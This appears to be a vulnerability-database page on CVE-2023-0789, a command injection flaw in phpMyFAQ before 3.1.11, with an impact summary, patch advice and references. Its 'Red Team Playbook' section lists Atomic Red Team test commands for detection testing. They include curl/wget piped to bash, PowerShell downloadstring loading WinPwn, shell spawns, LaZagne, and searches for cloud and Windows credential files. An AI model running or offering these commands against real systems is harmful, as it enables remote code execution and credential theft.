CVE-2023-0789
Overview
This vulnerability is a command injection flaw in the thorsten/phpmyfaq application, specifically affecting versions prior to 3.1.11. The root cause lies in insufficient input sanitization, allowing attacker-controlled input to be executed as system commands. The affected component is the part of the application that processes user input leading to shell command execution without proper validation.
Vulnerability Description
Command Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.11.
Impact
An attacker with low privileges can execute arbitrary system commands on the server hosting phpMyFAQ, potentially leading to unauthorized data access or lateral movement within the network. This requires network access and some level of authenticated interaction (PR:L) but no user interaction (UI:N). The compromise of confidentiality and integrity (C:H/I:H) can result in data breaches or manipulation of application data, impacting business operations and trust.
Solution
Upgrade thorsten/phpmyfaq to version 3.1.11 or later, where the command injection vulnerability has been addressed as per the official GitHub commit 40515c74815ace394ab23c6c19cbb33fd49059cb. Refer to the Huntr advisory at https://huntr.dev/bounties/d9375178-2f23-4f5d-88bd-bba3d6ba7cc5 for detailed remediation steps and validation. No additional workarounds are documented; patching to the fixed version is required.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the phpMyFAQ application is characterized by a command injection flaw, which allows an attacker to execute arbitrary commands on the server hosting the application. This type of vulnerability arises when user input is improperly sanitized, enabling malicious actors to manipulate the command execution process. In the case of phpMyFAQ, the flaw exists in the way the application handles input parameters, potentially allowing an attacker to inject system commands that the server will execute with the same privileges as the web server user. This can lead to severe consequences, including unauthorized access to sensitive data, system compromise, and further exploitation of the underlying infrastructure.
Attack vectors for exploiting this vulnerability can vary, but they typically involve crafting specially designed requests that include malicious payloads. An attacker could leverage web forms, API endpoints, or any other input mechanism within the application to inject commands. For instance, by manipulating URL parameters or form fields, an attacker could execute commands that read, write, or modify files on the server. Additionally, if the application is running with elevated privileges, the impact of such an attack could be catastrophic, allowing the attacker to gain full control over the server environment. This scenario is particularly concerning in shared hosting environments or when the web application is part of a larger ecosystem with interconnected services.
The real-world impact of this vulnerability is significant, especially for organizations relying on phpMyFAQ for managing their FAQ systems. The potential for data breaches is high, as attackers could access sensitive information stored within the application or on the server. Furthermore, the ability to execute arbitrary commands could lead to the deployment of malware, data exfiltration, or the establishment of persistent backdoors for future access. Such incidents not only compromise the integrity and confidentiality of data but also pose substantial business risks, including reputational damage, legal liabilities, and financial losses due to remediation efforts and potential regulatory fines.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First and foremost, it is essential to update phpMyFAQ to the latest version, as this will address the known vulnerability and reduce the risk of exploitation. Additionally, implementing robust input validation and sanitization mechanisms can help prevent command injection attacks. This includes using whitelisting techniques to ensure that only expected input formats are accepted and employing parameterized queries where applicable. Regular security audits and penetration testing should also be conducted to identify and remediate vulnerabilities proactively.
Monitoring and logging are critical components of a comprehensive security strategy. Organizations should implement intrusion detection systems (IDS) that can identify unusual patterns of behavior indicative of command injection attempts. Furthermore, maintaining detailed logs of application activity can aid in forensic investigations should an incident occur. By combining these detection strategies with a strong incident response plan, organizations can better prepare for and respond to potential exploitation attempts, thereby minimizing the impact of such vulnerabilities on their operations. In conclusion, addressing the command injection vulnerability in phpMyFAQ is crucial for safeguarding organizational assets and maintaining trust with users and stakeholders.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Phpmyfaq | Phpmyfaq | All |
cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-0789 |
| huntr.dev |
GitHub CVE
|
https://huntr.dev/bounties/d9375178-2f23-4f5d-88bd-bba3d6ba7cc5 |
| github.com |
GitHub CVE
|
https://github.com/thorsten/phpmyfaq/commit/40515c74815ace394ab23c6c19cbb33fd49059cb |
| huntr.com |
NVD API
|
https://huntr.com/bounties/d9375178-2f23-4f5d-88bd-bba3d6ba7cc5 |